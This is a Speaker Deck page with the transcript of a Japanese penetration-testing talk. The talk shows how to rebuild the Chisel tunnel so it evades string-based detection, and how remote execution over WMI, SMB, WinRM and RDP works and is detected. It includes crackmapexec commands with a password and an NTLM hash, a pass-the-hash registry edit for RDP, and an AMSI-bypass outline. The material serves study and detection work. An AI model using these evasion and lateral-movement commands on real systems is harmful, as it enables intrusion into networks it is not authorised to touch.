Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
ペンテストに関するTIPS
Search
Sponsored
·
SiteGround - Reliable hosting with speed, security, and support you can count on.
→
Ruslan Sayfiev
August 28, 2023
Technology
3
2.6k
ペンテストに関するTIPS
主にペネトレーションテストやRed Team業務を対象として、Golangで開発されたツール編集のやり方やリモート操作用サービスの違い紹介の資料です。
Ruslan Sayfiev
August 28, 2023
Tweet
Share
More Decks by Ruslan Sayfiev
See All by Ruslan Sayfiev
Active Directory攻防
cryptopeg
12
9.5k
Other Decks in Technology
See All in Technology
JEDAI認定プログラム JEDAI Order 2026 受賞者一覧 / JEDAI Order 2026 Winners
databricksjapan
0
330
SaaSに宿る21g
kanyamaguc
2
160
契約書からの情報抽出を行うLLMのスループットを、バッチ処理を用いて最大40%改善した話
sansantech
PRO
2
260
スピンアウト講座05_実践活用事例
overflowinc
0
1.2k
スピンアウト講座03_CLAUDE-MDとSKILL-MD
overflowinc
0
1.3k
Phase12_総括_自走化
overflowinc
0
1.5k
品質を経営にどう語るか #jassttokyo / Communicating the Strategic Value of Quality to Executive Leadership
kyonmm
PRO
3
1.2k
スケールアップ企業でQA組織が機能し続けるための組織設計と仕組み〜ボトムアップとトップダウンを両輪としたアプローチ〜
qa
0
290
Blue/Green Deployment を用いた PostgreSQL のメジャーバージョンアップ
kkato1
0
130
20260320_JaSST26_Tokyo_登壇資料.pdf
mura_shin
0
120
How to install a gem
indirect
0
1.5k
20260323_データ分析基盤でGeminiを使う話
1210yuichi0
0
180
Featured
See All Featured
Highjacked: Video Game Concept Design
rkendrick25
PRO
1
330
How to Build an AI Search Optimization Roadmap - Criteria and Steps to Take #SEOIRL
aleyda
1
2k
Site-Speed That Sticks
csswizardry
13
1.1k
AI Search: Where Are We & What Can We Do About It?
aleyda
0
7.2k
Building a A Zero-Code AI SEO Workflow
portentint
PRO
0
410
Understanding Cognitive Biases in Performance Measurement
bluesmoon
32
2.8k
Discover your Explorer Soul
emna__ayadi
2
1.1k
Leveraging Curiosity to Care for An Aging Population
cassininazir
1
200
Git: the NoSQL Database
bkeepers
PRO
432
67k
Lightning Talk: Beautiful Slides for Beginners
inesmontani
PRO
1
490
The State of eCommerce SEO: How to Win in Today's Products SERPs - #SEOweek
aleyda
2
10k
RailsConf 2023
tenderlove
30
1.4k
Transcript
ペンテストに関するTIPS Ruslan Sayfiev Mizuno Sarii OSCP勉強会 2023年8月26日
WHOAMI Ruslan Sayfiev(ルスラン) • Red Team/PTリーダー@ GMO サイバーセキュリティ by イエラエ
• 主な知見:Web・NW診断、Cloud/OSINT/Pentest/RedTeam、車系の診断など • 資格(思ったより多い):OSWP, OSCP, OSEP, OSCE, OSEE, GXPN, CRTO, CRTL, CRTE, CARTP • HackTheBox(やりたいほどできてきていないが):Guru 水野沙理衣 • 新卒1年目@ GMO サイバーセキュリティ by イエラエ • 9月よりWebアプリーケーション脆弱性診断課 • PT勉強中 • SECCON実行委員、CTF for Girls運営(WEB分野講師など) • HackTheBox:Hacker
目次 • カスタムなChiselの作り方 • Windows環境にリモート操作用プロトコル(概要・検知) • WMI • SMB(PSExec、 SMBExec)
• WinRM • RDP
※既存Golangアプリのカスタマイズやコンパイル カスタムなCHISELの作り方
CHISELとは • WebSocketを使用したTCPトンネリングツール(トンネル内はSSHで暗号化される) • Go言語で作成 • 「https://github.com/jpillora/chisel」にて入手可能
カスタマイズなんているの? いくつかの理由の例: • 不足している機能の追加開発(例:Kerberos認証) • 他のツールへの組み込みなど
1) GOLANG開発環境の準備 • 該当プラットホーム元に正式サイトからArchive形のGolangをダウンロード・展開 • 展開したフォルダーにアクセスし、任意のフォルダーを作成する(例:_SRC) • 環境変数をエクスポートする(外部から実行する際、フルパスで指定) • Mac・Linux
export GOPATH=go_custom/_SRC export GOROOT=go_custom export GO111MODULE=off • Win set GOPATH=C:\go_win_custom\_SRC set GOROOT=C:\go_win_custom set GO111MODULE=off
MAC WIN https://go.dev/dl/
• Githubから最新版のArchive方式のChiselをダウンロードする • 「_SRC」フォルダー内に(例:chisel_custom)フォルダーを作って,「main.go」 ファイルだけを入れておく • 「chisel_custom」フォルダーに「cd」する 2) CHISELと必要なライブラリの準備
• そのまま「build」しようとすると、必要なライブラリがないというエラーが発生する • 以下の方法によって必要なライブラリの導入が可能 ※「main.go」ファイルのあるフォルダーから実行! • go get -v -d
./... または • go get github.com/jpillora/chisel
3) CHISELのビルド・カスタマイズ • 現時点で基本的にビルドができるようなりました • go build main.go (別OS/ARCHの場合、GOOS/GOARCHの設定が必要)
• このままのビルドだと、公開リリースビルドとほぼ差がなく、同様に検知され ることになります • 簡単にStringsツールをかけて、Chiselの文字列で確認しましょう • 中身を確認すると、外部ライブラリのインポート名に見える
• 「main.go」ファイルを確認すると、「github.com/jpillora/chisel/…」がインポー トされていることがわかります
• まず、以下の編集を行いましょう 「github.com/jpillora/chisel」 → 「custom_lib」
• コンパイルすると、エラー! • インポートされるライブラリ名が変わったため、ソースフォルダーも以下のよ うに編集する必要があります 「_SRC/src/github.com/jpillora/chisel」 → 「_SRC/src/custom_lib」 ※フォルダー内に「client、server、share」のみのフォルダーを残して大丈夫
• 今度コンパイルし直して、「chisel」で検索すると、23回だけ引っかかることが わかります。おそらく、Helpなどに含まれている文字列が残っているかと推 測できます。 • 実際に中身を確認して、全ての「chisel」文字列を編集しましょう 「chisel」 → 「OSCPStudy」
• 改めてビルドして検索してみると、1個だけが出てくることを確認する。それ は、ビルドパスがバイナリ内に含まれるためで、以下の追加フラグによって パスやシンボルデータなどの削除が可能です。 go build -ldflags="-s -w -extldflags=-static" -trimpath
main.go
• ビルドするバイナリをEXEからDLLにする必要がある場合、以下のように関数を追加して、エクス ポートすることで可能です。 GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -
buildmode=c-shared -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.dll main.go
• 「Dumpbin」ツールによって、「OffSecRun」関数がエクスポートされていることが 確認できます。例:「rundll32 chisel.dll,OffSecRun」のコマンドによって実行が可 能です。
各種OSやアーキテクチャのコンパイル例(Mac環境) Linux ・ GOOS=linux GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static"
-trimpath -o chisel_arm64.elf main.go ・ GOOS=linux GOARCH=386 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.elf main.go ・ GOOS=linux GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.elf main.go Windows #EXE ・ GOOS=windows GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_arm.exe main.go ・ GOOS=windows GOARCH=386 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.exe main.go ・ GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.exe main.go #DLL (MinGWが必要) ・ GOOS=windows GOARCH=386 CGO_ENABLED=1 CC=i686-w64-mingw32-gcc go build -buildmode=c-shared - ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.dll main.go ・ GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared - ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.dll main.go MacOS ・ GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_ARM main.go ・ GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64 main.go
WINDOWS環境にリモート操作用プロトコル (概要・検知)
WMI (WINDOWS MANAGEMENT INSTRUMENTATION) • smb 10.11.14.54 → SMBプロトコルを用いて、指定されたIPアドレス(10.11.14.54)のマシンに接続 •
-u Administrator -p ‘P@ssw0rd‘ → 接続する際にAdministratorというユーザー名とP@ssw0rdというパスワードを使用 • --exec-method wmiexec → コマンド実行のメソッドとしてwmiexecを使用 • -x 'timeout 10' →リモートマシン上でtimeout 10というコマンドを実行。(何もしないで10秒間待つ) WMIの親子プロセス関係
• --no-output → 実行結果を出力しない WMIの親子プロセス関係
• strace → システムコールとシグナルを追跡するプログラム • -f → フォークした子プロセスも追跡 • -e
trace=network →ネットワークに関連するシステムコールだけを追跡 • 2>&1 → 標準エラー出力(stderr)を標準出力(stdout)にリダイレクト • grep 'connect(‘ → 出力の中からconnect(という文字列を含む行だけを抽出 WMIは135ポート+50000+系のポートを使用する ※上記では445ポートも使用されているが、使わなくすることも可能 使用されるポート
SMB(PSEXEC) 手元の端末で実行 PSExecの親子プロセス関係 対象端末にPSEXECSVCサービスが作成
SMB(SMBEXEC) • smb 10.11.14.54 → SMBプロトコルを用いて、指定されたIPアドレス(10.11.14.54)のマシンに接続 • -u Administrator -p
‘P@ssw0rd‘ → 接続する際にAdministratorというユーザー名とP@ssw0rdというパスワードを使用 • --exec-method smbexec → コマンド実行のメソッドとしてsmbexecを使用 • -x 'timeout 10' →リモートマシン上でtimeout 10というコマンドを実行。(何もしないで10秒間待つ)
• --no-output → 実行結果を出力しない
SMBExec/PSExec系は445ポートを使用する 使用されるポート
WINRM(WINDOWS REMOTE MANAGEMENT) WinRMで接続(Invoke-Mimikatzを入力するだけでAMSI機能にセッションが殺される) WinRMの親子プロセス関係
[Ref].Assembly.GetType(...) → .NETアセンブリから特定の型を取得 'Sy’ …;$result) → System.Management.Automation.AmsiUtilsの難読化 .GetField(..., 'NonPublic,Static') →
この型に存在する特定の非公開静的フィールドを取得 .SetValue($null, $true) → この非公開静的フィールドの値をtrueに設定 内部に実装されているモジュールによる回避は失敗する
WinRMは5985ポートを使用する ※SSLの場合、5986ポートが使用される 使用されるポート
RDP(REMOTE DESKTOP PROTOCOL) 一般的には認証情報が手元にあり、入力して入るだけ(MFAなしの場合)ですが、場合によって、 NTLMハッシュのみが手元にある場合はどうすれば?
DisableRestrictedAdminキーを登録する方法: crackmapexec smb 10.11.14.54 -u Administrator -H e19ccf75ee54e06b06a5907af13cef42 -x 'reg
add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f' DisableRestrictedAdminを0に設定することで、 「リモート 資格情報ガード」機能の「制限付き管理 モード」が有効化される DisableRestrictedAdminキーを削除する方法: crackmapexec smb 10.11.14.54 -u Administrator -H e19ccf75ee54e06b06a5907af13cef42 -x 'reg delete HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /f'
RDPは3389ポートを使用する 使用されるポート
サマリー • ChiselなどのGolangプログラムを含めてカスタマイズしましょう! • リモート操作用プロトコルをしっかり理解して、状況に応じて適切に使いま しょう!
QUESTIONS? • Twitter: https://twitter.com/cryptopeg https://twitter.com/r1154n